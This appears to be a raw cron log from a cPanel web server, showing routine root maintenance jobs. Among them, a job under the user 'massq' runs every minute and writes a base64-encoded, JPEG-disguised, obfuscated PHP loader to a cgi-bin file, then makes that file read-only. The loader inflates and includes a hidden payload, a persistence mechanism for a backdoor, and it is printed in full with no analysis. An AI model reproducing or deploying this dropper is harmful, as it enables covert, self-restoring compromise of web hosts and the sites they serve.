Sep  7 08:43:01 server CROND[5953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:44:01 server CROND[6332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:44:01 server CROND[6333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:44:01 server CROND[6334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:45:01 server CROND[6733]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:45:01 server CROND[6734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:45:01 server CROND[6738]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:45:01 server CROND[6739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:45:01 server CROND[6741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:45:01 server CROND[6737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:45:01 server CROND[6740]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:46:01 server CROND[7566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:46:01 server CROND[7567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:46:01 server CROND[7568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:47:01 server CROND[8040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:47:01 server CROND[8041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:47:01 server CROND[8043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:48:01 server CROND[8464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:48:01 server CROND[8465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:48:01 server CROND[8466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:49:01 server CROND[8855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:49:01 server CROND[8856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:49:01 server CROND[8857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:50:01 server CROND[9251]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:50:01 server CROND[9252]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:50:01 server CROND[9255]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:50:01 server CROND[9258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:50:01 server CROND[9264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:50:01 server CROND[9265]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:50:01 server CROND[9262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:50:01 server CROND[9263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:50:01 server CROND[9266]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 08:51:02 server CROND[10132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:51:02 server CROND[10131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:51:02 server CROND[10133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:52:01 server CROND[10625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:52:01 server CROND[10626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:52:01 server CROND[10627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:53:01 server CROND[11034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:53:01 server CROND[11035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:53:01 server CROND[11036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:54:01 server CROND[11650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:54:01 server CROND[11649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:54:01 server CROND[11651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:55:01 server CROND[12039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:55:01 server CROND[12041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:55:01 server CROND[12043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:55:01 server CROND[12044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:55:01 server CROND[12045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:55:01 server CROND[12042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
